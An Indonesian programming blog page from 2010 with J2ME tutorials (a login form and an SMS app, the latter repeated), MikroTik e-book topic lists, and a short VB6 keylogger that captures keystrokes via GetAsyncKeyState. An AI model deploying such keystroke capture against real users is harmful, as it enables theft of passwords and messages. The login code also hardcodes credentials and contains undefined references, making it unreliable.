import javax.microedition.midlet.MIDlet;
05.import javax.microedition.lcdui.*;
06.
07.public class login extends MIDlet implements CommandListener {
08.private Display display;
09.private TextField userName;
10.private TextField password;
11.private Form form;
12.private Command cancel;
13.private Command login;
14.
15.public login() {
16.userName = new TextField("LoginID :", "", 10, TextField.ANY);
17.password = new TextField("Password :", "", 10, TextField.PASSWORD);
18.form = new Form("Login");
19.cancel = new Command("Cancel", Command.CANCEL, 2);
20.login = new Command("Login", Command.OK, 2);
21.}
22.
23.public void startApp() {
24.form.setTitle("Silakan Login");
25.form.append(userName);
26.form.append(password);
27.form.addCommand(cancel);
28.form.addCommand(login);
29.form.setCommandListener(this);
30.display.setCurrent(form);
31.}
32.
33.public void pauseApp() {
34.}
35.
36.public void destroyApp(boolean unconditional) {
37.notifyDestroyed();
38.}
39.
40.public void validateUser(String name, String password) {
41./** "usernya" dan "passwordnya" bisa diganti sesuai keinginan*/
42.if (name.equals("usernya") && password.equals("passwordnya")) {
43.bener();
44.} else {
45.tryAgain();
46.}
47.}
48.
49.public void bener() {
50.Alert benar = new Alert("Login Sukses", "Selamat Login Sukses", null, AlertType.ERROR);
51.error.setTimeout(Alert.FOREVER);
52.display.setCurrent(error);
53.}
54.
55.public void tryAgain() {
56.Alert salah = new Alert("Login salah", "Silakan Ulangi lagi", null, AlertType.ERROR);
57.salah.setTimeout(Alert.FOREVER);
58.userName.setString("");
59.password.setString("");
60.display.setCurrent(salah, form);
61.}
62.
63.public void commandAction(Command c, Displayable d) {
64.String label = c.getLabel();
65.if(label.equals("Cancel")) {
66.destroyApp(true);
67.} else if(label.equals("Login")) {
68.validateUser(userName.getString(), password.getString());
69.}
70.}
71.}
Followers
Archive
-
▼
2010
(103)
-
▼
September
(10)
- Form Login J2ME
- Belajar membuat aplikasi sms J2ME di handphone
- Tutotial Mikrotik ( e-book) part II
- Tutotial Mikrotik ( e-book) part I
- Download Ebook Pemrograman J2ME
- Hanya Perlu 11 baris script untuk sebuah keylogger...
- Aplikasi J2ME Untuk Video Player Online
- Tips-Tips J2ME
- Membuat Game HP Java Sendiri
- Visual Basic 6 Portable Full Ziddu Mediafire
-
▼
September
(10)
Categories
- After Effect (1)
- Android (2)
- Anti Virus (4)
- Artikel (68)
- Basic concept hacking (11)
- C (2)
- Cisco (2)
- Cracking (4)
- CSS (3)
- ebook (17)
- email (1)
- Firefox (5)
- Forum (2)
- game (1)
- Hacking (24)
- IT news (14)
- Jaringan (17)
- Java (10)
- matlab (1)
- mikrotik (6)
- Photoshop (2)
- PHP (12)
- printer (1)
- Programing (33)
- Security (7)
- Software (24)
- Streaming (1)
- Trik Blog (5)
- Virus (2)
- Visual Basic (3)
- Visual Studio (1)
- Web security (5)
- windows 7 (2)
- windows XP (11)
Link
Link n Friend
^=^ Links & Friends ^=^
ilmuwebsite
binushacker
jasakom
echo
padepokan it
forum djawir
forumkami
krucil
kaskus
kuliahku
Junindar blog
vbcode.my
oktri.co.cc
trik-tips.blogspot
mikrotik-id.blogspot
java j2me maswawa
(j2me) kuliahwireless
kelompokgampang
mikrotik.co.id
(hack)kumpulancara
(internet software)www.netmild.com
phpbb
swdevsoftwareconsulting.blogspot
(perpustakaan IT)ittelkom.ac.id
(J2ME)j2mepolish
(ilmu komputer)ikc.depsos.go.id
(tips-and-tricks)feedage.com
(tips-and-tricks)maman234
ainb (web komputer)
rohmad.net(belajar oracle)
ilmuwebsite
binushacker
jasakom
echo
padepokan it
forum djawir
forumkami
krucil
kaskus
kuliahku
Junindar blog
vbcode.my
oktri.co.cc
trik-tips.blogspot
mikrotik-id.blogspot
java j2me maswawa
(j2me) kuliahwireless
kelompokgampang
mikrotik.co.id
(hack)kumpulancara
(internet software)www.netmild.com
phpbb
swdevsoftwareconsulting.blogspot
(perpustakaan IT)ittelkom.ac.id
(J2ME)j2mepolish
(ilmu komputer)ikc.depsos.go.id
(tips-and-tricks)feedage.com
(tips-and-tricks)maman234
ainb (web komputer)
rohmad.net(belajar oracle)
Sabtu, 18 September 2010
Selasa, 14 September 2010
Belajar membuat aplikasi sms J2ME di handphone
Sebelum mempelajari sesuatu biasanya karena seseorang itu ingin bisa sesuatu juga, contoh belajar nyetir mobil agar nyetir mobil dan syukur syukur agar bisa beli mobil, belajar komputer dan internetan agar bisa FS-an, belajar pemrograman JAVA karena agar bisa dapet nilai yang bagus dari pak Dosen…hayah ga nyambung kabeh. sudah lupakan contoh contoh tadi.
Dulu awal aku belajar J2ME karena ingin bisa membuat aplikasi di handphone yang bisa kirim sms. Walopun udah sering belajar tapi ternyata masih sedikit kebisaanku dalam hal ini, tapi jangan putus asa, aku harus giat belajar…. oya bagi yang baru belajar sama seperti aku dibawah ini nanti ada source code aplikasi untuk kirim dan terima sms. masih sederhana sih. makanya ini hanya bagi yang baru belajar aja, liat aja sesuai dengan judulnya kan. Bagi yang udah master mohon koreksi ya jika ada yang salah. trus kalo ada yang mau belajar dan mendiskusikan source code yang aku buat ini, semoga ini bisa menjadi ajang buat diskusi. dan dibikin asik aja.
Ok. source codenya (beserta penjelasannya, walopun gak informatif banget tp lumayan lah) adalah :
import java.util.*;
import java.io.IOException;
import javax.microedition.io.*;
import javax.microedition.lcdui.*;
import javax.wireless.messaging.*;
import javax.microedition.midlet.*;
/**
* @author MasWawa
* @see http://www.maswawa.web.id
*/
public class smsKu extends MIDlet implements CommandListener, Runnable,
MessageListener {
Display display;
Form form;
List menuList; //list untuk menu awal
Command exitCom, replyCom, backCom, clrCom, sendCom; //macem macem command yg digunakan
TextBox textSmsMasuk, textSmsKeluar; //tempat untuk text sms yg masuk dan yg mau dikirim
TextField textNo; //untuk tempat memasukan no tujuan
String port, isiSmsKeluar; //port dan isi sms
Thread thread;
String[] connections;
boolean done;
MessageConnection smsconn;
Message msg;
public smsKu() {
display = Display.getDisplay(this);
form = new Form("sms-an Yuk");
exitCom = new Command("keluar", Command.EXIT, 1);
replyCom = new Command("balas", Command.SCREEN, 1);
backCom = new Command("Kembali", Command.BACK, 3);
clrCom = new Command("Hapus Tulisan", Command.OK, 2);
sendCom = new Command("Kirim", Command.OK, 1);
menuList = new List("Menu sms Ku", List.IMPLICIT);
port = "4321"; //port yang aku gunakan, silakan ganti sesuai keinginan masing masing
textSmsMasuk = new TextBox(null, null, 500, TextField.ANY);
textSmsKeluar = new TextBox("Silakan Menulis Sms", null,
500, TextField.ANY);
textNo = new TextField("Masukan Nomor Tujuan", "",
15, TextField.PHONENUMBER);
}
public void startApp() {
bukaKoneksi(); //disini membuka koneksi untuk siap menerima sms masuk
menu(); // bikin tampilan menu awal
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
//sebelum aplikasinya keluar ato mati koneksi ditutup dulu
done = true;
thread = null;
if (smsconn != null) {
try {
smsconn.close();
} catch (IOException e) {
}
}
//disini mati deh aplikasi kita
notifyDestroyed();
}
public void menu() { //membuat menu awal untuk sementara ini baru ada 3 menu dulu
menuList.append("Tulis Sms", null);//1. menu tulis sms baru
menuList.append("about", null); //2. menu about (gak penting sih sebenarnya)
menuList.append("Keluar", null); //3. menu untuk keluar aplikasi
menuList.addCommand(exitCom); //add command keluar
menuList.setCommandListener(this);
display.setCurrent(menuList);
}
public void tulisSms() { //membuat textbox untuk menulis sms baru
textSmsKeluar.addCommand(sendCom); //add command untuk kirim
textSmsKeluar.addCommand(clrCom); // add command untuk clear text
textSmsKeluar.addCommand(backCom); //add command untuk kembali kemenu awal
textSmsKeluar.setCommandListener(this);
display.setCurrent(textSmsKeluar);
}
public void masukNo() { //disini untuk memasukan nomor tujuan yang mau dikirimi sms
form.setTitle("Sms Siap dikirim"); //udah taukan yang ini?
form.append(textNo); //menambahkan textField untuk nomor tujuan
form.addCommand(backCom); //menambahkan command untuk kembali ke menu awal
form.addCommand(sendCom); //menambahkan command untuk mengirim
form.setCommandListener(this);
display.setCurrent(form);
}
public void kirim() { //disini sms yang udah ditulis dikirim dengan perintah dibawah ini
new Thread(new Runnable() {
//perhatiin ya
public void run() {
try {
String isiSms = isiSmsKeluar;
String noTujuan = textNo.getString();
String address = "sms://" + noTujuan + ":" + port;
MessageConnection smsConnKir = null;
Message isiSmsNya = null;
smsConnKir = (MessageConnection) Connector.open(address);
TextMessage txtmessage =
(TextMessage) smsConnKir.newMessage(MessageConnection.TEXT_MESSAGE);
txtmessage.setAddress(address);
txtmessage.setPayloadText(isiSms);
isiSmsNya = txtmessage;
smsConnKir.send(isiSmsNya);
} catch (Throwable t) {
t.printStackTrace();
}
}
}).start();
}
public void terima(String isi, String no, Date tgl) { //ini untuk tempat membaca sms yang masuk
String nonya = fixNomer(no);
textSmsMasuk = new TextBox("Sms dari:" + nonya + " " + tgl, isi,
isi.length(), TextField.ANY);
textSmsMasuk.addCommand(replyCom);
textSmsMasuk.addCommand(exitCom);
textSmsMasuk.setCommandListener(this);
display.setCurrent(textSmsMasuk);
}
public void bukaKoneksi() { //membuka koneksi agar bisa menerima sms yg masuk
String smsConnection = "sms://:" + port;
done = true;
thread = null;
try {
smsconn = (MessageConnection) Connector.open(smsConnection);
smsconn.setMessageListener(this);
} catch (IOException ioe) {
ioe.printStackTrace();
}
connections = PushRegistry.listConnections(true);
done = false;
thread = new Thread(this);
thread.start();
}
public void tutupKoneksi() { //untuk menutup koneksi sms
try {
smsconn.close();
} catch (IOException e) {
}
}
public String fixNomer(String no) {
//dari format no gini "sms://+6285XXXX" jadi "+6285XXX" gitu fungsinya disini itu
String hs = null;
hs = no.substring(6, no.length());
return hs;
}
public void commandAction(Command c, Displayable d) {
if (c == exitCom) {
destroyApp(true);
}
if (d == menuList) {
if (menuList.isSelected(0)) {
tulisSms();
} else if (menuList.isSelected(1)) {
Alert about = new Alert("About", "Aplikasi SMS buatan sendiri",
null, AlertType.INFO);
display.setCurrent(about);
} else if (menuList.isSelected(2)) {
destroyApp(true);
}
}
if (d == textSmsKeluar) {
if (c == sendCom) {
form.deleteAll();
masukNo();
} else if (c == clrCom) {
textSmsKeluar.setString("");
} else if (c == backCom) {
display.setCurrent(menuList);
}
}
if (d == textSmsMasuk) {
if (c == exitCom) {
display.setCurrent(menuList);
} else if (c == replyCom) {
tulisSms();
}
}
if (d == form) {
if (c == backCom) {
form.deleteAll();
display.setCurrent(textSmsKeluar);
} else if (c == sendCom) {
isiSmsKeluar = textSmsKeluar.getString();
textSmsKeluar.setString("");
kirim();
}
}
}
public void run() { //untuk menerima sms yang masuk
try {
msg = smsconn.receive();
String senderAddress = msg.getAddress();
Date waktuSms = msg.getTimestamp();
if (msg instanceof TextMessage) {
String isiSmsMasuk = ((TextMessage) msg).getPayloadText();
terima(isiSmsMasuk, senderAddress, waktuSms);//ini memasukan sms yg diterima ke textbox
}
tutupKoneksi();
bukaKoneksi();
} catch (IOException e) {
}
}
public void notifyIncomingMessage(MessageConnection conn) {
if (thread == null) {
done = false;
thread = new Thread(this);
thread.start();
}
}
}
setelah source code nya, biar afdol tak kasih juga scrinsutnya:

diatas ini skrinsut awal saat aplikasi dijalankan. ada 3 menu. lumayankan kalo untuk belajar. besok di tambah lagi ada menu inboxnya. sengaja tak jalankan di dua emulator agar bisa dicoba buat kirim dan menerima sms. hp putih akan mencoba mengirim sms ke hp hitam. si putih tadi memilih menu “Tulis Sms”

Sekarang si putih menulis pesan yang akan dikirimnya, si hitam stand by aja.

Setelah dirasa cukup menulis pesannya, si putih memilih tomb0l kirim dan memasukan no tujuan punya si hitam. kemudian siputih menekan tombol kirim.

kita liat setelah si putih menekan tombol kirim ga berapa lama sihitam menerima sms yang dikirim oleh si putih, dan di bacanya. Karena ditanyain kabarnya, si hitam ingin membalas sms dari siputih tadi. maka dia pilih tombol balas. si putih tentunya diem aja, karena menunggu balesan sms nya.

Si hitam menulis sms balasannya, dah cukup menulis, si hitam tekan tombol kirim.

si hitam memasukan no tujuan punya si putih, dan dikirim sms balesannya.

Alhammdulillah sms balesan dari si hitam udah masuk ke si putih dan sedang dibaca oleh si putih.
Nah begitu seterusnya si putih kemudian membalas lagi, si hitam juga. mereka saling berbalas sms sampe pulsa mereka habis, selain itu juga jempol mereka udah capek ngetik sms. ceritanya sampe disini dulu.
oya yang mau aplikasi jadinya program kita diatas tadi download disini.
Nah lo menu yang lain kok ga di peragakan juga? gak ah, bisa coba sendiri, namanya belajar kok jadi harus banyak coba coba sendiri kan?
diatas tadi sekilas source code untuk kirim dan terima sms dengan j2me, besok aplikasi diatas ditambah dengan menu inbox, outbox, trus menu settings…udah deh kebanyakan. untuk menyimpan Sms di inbox dan outbox enaknya pake database aja nih. pake RMS tentunya. jadi belajar dulu RMS yuk. yukk….
Sekian semoga bermanfaat.
Dulu awal aku belajar J2ME karena ingin bisa membuat aplikasi di handphone yang bisa kirim sms. Walopun udah sering belajar tapi ternyata masih sedikit kebisaanku dalam hal ini, tapi jangan putus asa, aku harus giat belajar…. oya bagi yang baru belajar sama seperti aku dibawah ini nanti ada source code aplikasi untuk kirim dan terima sms. masih sederhana sih. makanya ini hanya bagi yang baru belajar aja, liat aja sesuai dengan judulnya kan. Bagi yang udah master mohon koreksi ya jika ada yang salah. trus kalo ada yang mau belajar dan mendiskusikan source code yang aku buat ini, semoga ini bisa menjadi ajang buat diskusi. dan dibikin asik aja.
Ok. source codenya (beserta penjelasannya, walopun gak informatif banget tp lumayan lah) adalah :
import java.util.*;
import java.io.IOException;
import javax.microedition.io.*;
import javax.microedition.lcdui.*;
import javax.wireless.messaging.*;
import javax.microedition.midlet.*;
/**
* @author MasWawa
* @see http://www.maswawa.web.id
*/
public class smsKu extends MIDlet implements CommandListener, Runnable,
MessageListener {
Display display;
Form form;
List menuList; //list untuk menu awal
Command exitCom, replyCom, backCom, clrCom, sendCom; //macem macem command yg digunakan
TextBox textSmsMasuk, textSmsKeluar; //tempat untuk text sms yg masuk dan yg mau dikirim
TextField textNo; //untuk tempat memasukan no tujuan
String port, isiSmsKeluar; //port dan isi sms
Thread thread;
String[] connections;
boolean done;
MessageConnection smsconn;
Message msg;
public smsKu() {
display = Display.getDisplay(this);
form = new Form("sms-an Yuk");
exitCom = new Command("keluar", Command.EXIT, 1);
replyCom = new Command("balas", Command.SCREEN, 1);
backCom = new Command("Kembali", Command.BACK, 3);
clrCom = new Command("Hapus Tulisan", Command.OK, 2);
sendCom = new Command("Kirim", Command.OK, 1);
menuList = new List("Menu sms Ku", List.IMPLICIT);
port = "4321"; //port yang aku gunakan, silakan ganti sesuai keinginan masing masing
textSmsMasuk = new TextBox(null, null, 500, TextField.ANY);
textSmsKeluar = new TextBox("Silakan Menulis Sms", null,
500, TextField.ANY);
textNo = new TextField("Masukan Nomor Tujuan", "",
15, TextField.PHONENUMBER);
}
public void startApp() {
bukaKoneksi(); //disini membuka koneksi untuk siap menerima sms masuk
menu(); // bikin tampilan menu awal
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
//sebelum aplikasinya keluar ato mati koneksi ditutup dulu
done = true;
thread = null;
if (smsconn != null) {
try {
smsconn.close();
} catch (IOException e) {
}
}
//disini mati deh aplikasi kita
notifyDestroyed();
}
public void menu() { //membuat menu awal untuk sementara ini baru ada 3 menu dulu
menuList.append("Tulis Sms", null);//1. menu tulis sms baru
menuList.append("about", null); //2. menu about (gak penting sih sebenarnya)
menuList.append("Keluar", null); //3. menu untuk keluar aplikasi
menuList.addCommand(exitCom); //add command keluar
menuList.setCommandListener(this);
display.setCurrent(menuList);
}
public void tulisSms() { //membuat textbox untuk menulis sms baru
textSmsKeluar.addCommand(sendCom); //add command untuk kirim
textSmsKeluar.addCommand(clrCom); // add command untuk clear text
textSmsKeluar.addCommand(backCom); //add command untuk kembali kemenu awal
textSmsKeluar.setCommandListener(this);
display.setCurrent(textSmsKeluar);
}
public void masukNo() { //disini untuk memasukan nomor tujuan yang mau dikirimi sms
form.setTitle("Sms Siap dikirim"); //udah taukan yang ini?
form.append(textNo); //menambahkan textField untuk nomor tujuan
form.addCommand(backCom); //menambahkan command untuk kembali ke menu awal
form.addCommand(sendCom); //menambahkan command untuk mengirim
form.setCommandListener(this);
display.setCurrent(form);
}
public void kirim() { //disini sms yang udah ditulis dikirim dengan perintah dibawah ini
new Thread(new Runnable() {
//perhatiin ya
public void run() {
try {
String isiSms = isiSmsKeluar;
String noTujuan = textNo.getString();
String address = "sms://" + noTujuan + ":" + port;
MessageConnection smsConnKir = null;
Message isiSmsNya = null;
smsConnKir = (MessageConnection) Connector.open(address);
TextMessage txtmessage =
(TextMessage) smsConnKir.newMessage(MessageConnection.TEXT_MESSAGE);
txtmessage.setAddress(address);
txtmessage.setPayloadText(isiSms);
isiSmsNya = txtmessage;
smsConnKir.send(isiSmsNya);
} catch (Throwable t) {
t.printStackTrace();
}
}
}).start();
}
public void terima(String isi, String no, Date tgl) { //ini untuk tempat membaca sms yang masuk
String nonya = fixNomer(no);
textSmsMasuk = new TextBox("Sms dari:" + nonya + " " + tgl, isi,
isi.length(), TextField.ANY);
textSmsMasuk.addCommand(replyCom);
textSmsMasuk.addCommand(exitCom);
textSmsMasuk.setCommandListener(this);
display.setCurrent(textSmsMasuk);
}
public void bukaKoneksi() { //membuka koneksi agar bisa menerima sms yg masuk
String smsConnection = "sms://:" + port;
done = true;
thread = null;
try {
smsconn = (MessageConnection) Connector.open(smsConnection);
smsconn.setMessageListener(this);
} catch (IOException ioe) {
ioe.printStackTrace();
}
connections = PushRegistry.listConnections(true);
done = false;
thread = new Thread(this);
thread.start();
}
public void tutupKoneksi() { //untuk menutup koneksi sms
try {
smsconn.close();
} catch (IOException e) {
}
}
public String fixNomer(String no) {
//dari format no gini "sms://+6285XXXX" jadi "+6285XXX" gitu fungsinya disini itu
String hs = null;
hs = no.substring(6, no.length());
return hs;
}
public void commandAction(Command c, Displayable d) {
if (c == exitCom) {
destroyApp(true);
}
if (d == menuList) {
if (menuList.isSelected(0)) {
tulisSms();
} else if (menuList.isSelected(1)) {
Alert about = new Alert("About", "Aplikasi SMS buatan sendiri",
null, AlertType.INFO);
display.setCurrent(about);
} else if (menuList.isSelected(2)) {
destroyApp(true);
}
}
if (d == textSmsKeluar) {
if (c == sendCom) {
form.deleteAll();
masukNo();
} else if (c == clrCom) {
textSmsKeluar.setString("");
} else if (c == backCom) {
display.setCurrent(menuList);
}
}
if (d == textSmsMasuk) {
if (c == exitCom) {
display.setCurrent(menuList);
} else if (c == replyCom) {
tulisSms();
}
}
if (d == form) {
if (c == backCom) {
form.deleteAll();
display.setCurrent(textSmsKeluar);
} else if (c == sendCom) {
isiSmsKeluar = textSmsKeluar.getString();
textSmsKeluar.setString("");
kirim();
}
}
}
public void run() { //untuk menerima sms yang masuk
try {
msg = smsconn.receive();
String senderAddress = msg.getAddress();
Date waktuSms = msg.getTimestamp();
if (msg instanceof TextMessage) {
String isiSmsMasuk = ((TextMessage) msg).getPayloadText();
terima(isiSmsMasuk, senderAddress, waktuSms);//ini memasukan sms yg diterima ke textbox
}
tutupKoneksi();
bukaKoneksi();
} catch (IOException e) {
}
}
public void notifyIncomingMessage(MessageConnection conn) {
if (thread == null) {
done = false;
thread = new Thread(this);
thread.start();
}
}
}
setelah source code nya, biar afdol tak kasih juga scrinsutnya:
diatas ini skrinsut awal saat aplikasi dijalankan. ada 3 menu. lumayankan kalo untuk belajar. besok di tambah lagi ada menu inboxnya. sengaja tak jalankan di dua emulator agar bisa dicoba buat kirim dan menerima sms. hp putih akan mencoba mengirim sms ke hp hitam. si putih tadi memilih menu “Tulis Sms”
Sekarang si putih menulis pesan yang akan dikirimnya, si hitam stand by aja.
Setelah dirasa cukup menulis pesannya, si putih memilih tomb0l kirim dan memasukan no tujuan punya si hitam. kemudian siputih menekan tombol kirim.
kita liat setelah si putih menekan tombol kirim ga berapa lama sihitam menerima sms yang dikirim oleh si putih, dan di bacanya. Karena ditanyain kabarnya, si hitam ingin membalas sms dari siputih tadi. maka dia pilih tombol balas. si putih tentunya diem aja, karena menunggu balesan sms nya.
Si hitam menulis sms balasannya, dah cukup menulis, si hitam tekan tombol kirim.
si hitam memasukan no tujuan punya si putih, dan dikirim sms balesannya.
Alhammdulillah sms balesan dari si hitam udah masuk ke si putih dan sedang dibaca oleh si putih.
Nah begitu seterusnya si putih kemudian membalas lagi, si hitam juga. mereka saling berbalas sms sampe pulsa mereka habis, selain itu juga jempol mereka udah capek ngetik sms. ceritanya sampe disini dulu.
oya yang mau aplikasi jadinya program kita diatas tadi download disini.
Nah lo menu yang lain kok ga di peragakan juga? gak ah, bisa coba sendiri, namanya belajar kok jadi harus banyak coba coba sendiri kan?
diatas tadi sekilas source code untuk kirim dan terima sms dengan j2me, besok aplikasi diatas ditambah dengan menu inbox, outbox, trus menu settings…udah deh kebanyakan. untuk menyimpan Sms di inbox dan outbox enaknya pake database aja nih. pake RMS tentunya. jadi belajar dulu RMS yuk. yukk….
Sekian semoga bermanfaat.
Senin, 13 September 2010
Tutotial Mikrotik ( e-book) part II
This tutorial Contents:
1. [How To] Blocked Page at Web Proxy MikroTik
2. Editing Hotspot login Page
3. misahin download dan browsing?
4. Tut FullSpeed dari cache internalnya mikrotik (untuk versin 2.9)
5. Yang Pengen Block FRIENDSTER
6. Another way to block web
7. NEW Update --> Setting PPPoE dan Load Balance Speedy --NEW UPDATE--
8. Cara setting Web proxy 3.20
9. NGE Limit Youtube Video Streaming di MT 3.xx
10. Script Limit Bandwidth berdasar Siang – Malam
11. Simple Load Balancing + DNS Resolver + Secret Fiture
12. Blok PTP – other way
13. Login HTTPS di Hotspot
14. mengatur prioritas trafik dari dan ke mikrotik
15. Banyak Web Server di belakang router Mikrotik
16. Routerboard 450 Repaired
17. Satu (1) Userman Banyak Hotspot
18. recovery password mikrotik
19. Cara buat PPPOE server
20. misahin download dan browsing?
21. Beberapa Konfigurasi Mikrotik dan Proxy
22. Queue dengan SRC-NAT dan WEB-PROXY
23. Mikrotik - menggunakan squid sebagai web proxy sehingga lebih optimal
24. Beda Limit Siang dan Malam secara otomatis
25. Script untuk block Conflicker Virus secara otomatis
26. VLAN di RB750 (Requested by bro Hakeem)
27. Contoh Implementasi PCQ
28. Setting Bridge dan dial PPPoE dari Mikrotik
29. The NEW LoadBalance!! More Powerfull -TESTED-
Download E-book
1. [How To] Blocked Page at Web Proxy MikroTik
2. Editing Hotspot login Page
3. misahin download dan browsing?
4. Tut FullSpeed dari cache internalnya mikrotik (untuk versin 2.9)
5. Yang Pengen Block FRIENDSTER
6. Another way to block web
7. NEW Update --> Setting PPPoE dan Load Balance Speedy --NEW UPDATE--
8. Cara setting Web proxy 3.20
9. NGE Limit Youtube Video Streaming di MT 3.xx
10. Script Limit Bandwidth berdasar Siang – Malam
11. Simple Load Balancing + DNS Resolver + Secret Fiture
12. Blok PTP – other way
13. Login HTTPS di Hotspot
14. mengatur prioritas trafik dari dan ke mikrotik
15. Banyak Web Server di belakang router Mikrotik
16. Routerboard 450 Repaired
17. Satu (1) Userman Banyak Hotspot
18. recovery password mikrotik
19. Cara buat PPPOE server
20. misahin download dan browsing?
21. Beberapa Konfigurasi Mikrotik dan Proxy
22. Queue dengan SRC-NAT dan WEB-PROXY
23. Mikrotik - menggunakan squid sebagai web proxy sehingga lebih optimal
24. Beda Limit Siang dan Malam secara otomatis
25. Script untuk block Conflicker Virus secara otomatis
26. VLAN di RB750 (Requested by bro Hakeem)
27. Contoh Implementasi PCQ
28. Setting Bridge dan dial PPPoE dari Mikrotik
29. The NEW LoadBalance!! More Powerfull -TESTED-
Download E-book
Tutotial Mikrotik ( e-book) part I
This Tutorial contents:
1. How to limit traffic download RapidShare
2. Implementasi Penggunaan PCQ Bagi ISP Untuk Mendapatkan Hasil Yang Maksimal
3. Detect dan shapping download dengan connetion byte
4. Memisahkan Gateway Internasonal dan IIX dengan 3 NIC (Bagian 2)
5. Bandwidth management di Hotspot Area
6. Memisahkan IIX ke ISP wireless dan Internasional ke speedy
7. How To Block Traceroute
8. HOWTO: Menghindari Port Scanner dari Hacker
9. HOW TO : Melindungi Pelanggan/User Anda
10. Load-balancing & Fail-over di MikroTik
11. Redirect Mikrotik ke Komputer Proxy Squid (tanpa parent proxy MT)
12. Delaypool rasa Mikrotik
13. 2 Isp In 1 Router With Loadbalancing
14. Tutz Load Balancing Plus plus [Chaozz version] (Route Rule)
15. SETUP MIKROTIK (base 1)
16. TUTORIAL SETUP HOTSPOT + USERMANAGER
17. TUTORIAL 2 ISP IN 1 ROUTER WITH LOADBALANCING
18. SETUP QUEUE
19. TUTORIAL MISAHIN BW LOKAL DAN INTERNATIONAL
20. TUTORIAL SETING IP-PROXY & CONTOH PENGGUNANNYA (BASIC)
21. SETING PPTP SERVER & CLIENT
22. HOWTO: Menghindari Port Scanner dari Hacker
23. Wireless Bridge (client) dengan AP tanpa WDS
24. Setting Point To Multi Point
25. Pengamanan Mikrotik dari Scan Winbox dan Neighbour
26. Transparent Traffic Shaper
27. Pengamanan Mikrotik dari Scan Winbox dan Neighbour
28. Script Bikin Queues Tree B/W Limiter
29. Update Otomatis nice.rsc
30. [Share] Script u/ membatasi BW jika suatu traffic client melewati batas tertentu
31. Hotspot Mikrotik
32. [tutorial] Mikrotik Load Balancing - Winbox version
33. Konfigurasi SMS saat Internet down
34. Mikrotik dengan SquidBox
35. bagaimana cara install mikrotik di Router Board
36. Load Balance + Fail Over dengan script
37. Load Balancing nth buat Mikrotik Ver 3.xx dan 2.9xx
38. MikroTik Password Recovery
39. Howto : Bypass traceroute traffic
40. Cara copy torch atau LOG ke file ---caranya?
41. MikroTik Password Recovery
42. [Script] HTML Project for HotSpot Voucher
43. Ringtone Mikrotik
44. Editing Hotspot login Page
45. Memisahkan antara download dan browsing dengan mikrotik
46. backup database radius server hotspot
Download Tutorial
1. How to limit traffic download RapidShare
2. Implementasi Penggunaan PCQ Bagi ISP Untuk Mendapatkan Hasil Yang Maksimal
3. Detect dan shapping download dengan connetion byte
4. Memisahkan Gateway Internasonal dan IIX dengan 3 NIC (Bagian 2)
5. Bandwidth management di Hotspot Area
6. Memisahkan IIX ke ISP wireless dan Internasional ke speedy
7. How To Block Traceroute
8. HOWTO: Menghindari Port Scanner dari Hacker
9. HOW TO : Melindungi Pelanggan/User Anda
10. Load-balancing & Fail-over di MikroTik
11. Redirect Mikrotik ke Komputer Proxy Squid (tanpa parent proxy MT)
12. Delaypool rasa Mikrotik
13. 2 Isp In 1 Router With Loadbalancing
14. Tutz Load Balancing Plus plus [Chaozz version] (Route Rule)
15. SETUP MIKROTIK (base 1)
16. TUTORIAL SETUP HOTSPOT + USERMANAGER
17. TUTORIAL 2 ISP IN 1 ROUTER WITH LOADBALANCING
18. SETUP QUEUE
19. TUTORIAL MISAHIN BW LOKAL DAN INTERNATIONAL
20. TUTORIAL SETING IP-PROXY & CONTOH PENGGUNANNYA (BASIC)
21. SETING PPTP SERVER & CLIENT
22. HOWTO: Menghindari Port Scanner dari Hacker
23. Wireless Bridge (client) dengan AP tanpa WDS
24. Setting Point To Multi Point
25. Pengamanan Mikrotik dari Scan Winbox dan Neighbour
26. Transparent Traffic Shaper
27. Pengamanan Mikrotik dari Scan Winbox dan Neighbour
28. Script Bikin Queues Tree B/W Limiter
29. Update Otomatis nice.rsc
30. [Share] Script u/ membatasi BW jika suatu traffic client melewati batas tertentu
31. Hotspot Mikrotik
32. [tutorial] Mikrotik Load Balancing - Winbox version
33. Konfigurasi SMS saat Internet down
34. Mikrotik dengan SquidBox
35. bagaimana cara install mikrotik di Router Board
36. Load Balance + Fail Over dengan script
37. Load Balancing nth buat Mikrotik Ver 3.xx dan 2.9xx
38. MikroTik Password Recovery
39. Howto : Bypass traceroute traffic
40. Cara copy torch atau LOG ke file ---caranya?
41. MikroTik Password Recovery
42. [Script] HTML Project for HotSpot Voucher
43. Ringtone Mikrotik
44. Editing Hotspot login Page
45. Memisahkan antara download dan browsing dengan mikrotik
46. backup database radius server hotspot
Download Tutorial
Selasa, 07 September 2010
Download Ebook Pemrograman J2ME
Sedangkan untuk mempelajari bahasa Java dan khususnya versi J2ME, silahkan download modul berikut (disusun oleh Tim Java Competency Center ITB)
Download Modul Pemrograman J2ME
Senin, 06 September 2010
Hanya Perlu 11 baris script untuk sebuah keylogger di VB 6.0
Tidak percaya dengan Judul diatas?? coba buat project baru dengan
[-] sebuah textbox dengan Multiline = true
[-] sebuah timer dengan enabled = true dan interval = 100
isikan kode dibawah ini pada form
code :
Jalankan dan coba beraktifitas di facebook , YM atau apa aja... dan lihat ketukan huruf keyboard anda bermunculan di textbox.
Sekarang anda percaya bukan? sebuah keylogger hanya perlu 11 baris skript.
[-] sebuah textbox dengan Multiline = true
[-] sebuah timer dengan enabled = true dan interval = 100
isikan kode dibawah ini pada form
code :
Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then
Text1.Text = Text1.Text & Chr(i)
End If
Next
End SubJalankan dan coba beraktifitas di facebook , YM atau apa aja... dan lihat ketukan huruf keyboard anda bermunculan di textbox.
Sekarang anda percaya bukan? sebuah keylogger hanya perlu 11 baris skript.
Aplikasi J2ME Untuk Video Player Online
Aplikasi pemutar video pada perangkat mobile memang sudah tidak asing lagi, antara lain aplikasi pemutar video dengan format file 3GPP, MPEG, dll. Aplikasi video player online ini tidak jauh berbeda dengan aplikasi pemutar video lainnya, hanya saja aplikasi ini akan membaca file video pada sebuah server menggunakan koneksi GPRS. File tersebut akan dijalankan oleh video player ini seperti halnya aplikasi video player lainnya.Dengan menggunakan aplikasi ini, pengguna tidak perlu men-download file video dari server secara manual terlebih dahulu, karena secara otomatis aplikasi ini akan mengambil file tersebut dari server dan akan menyimpannya pada memori untuk dijalankan.
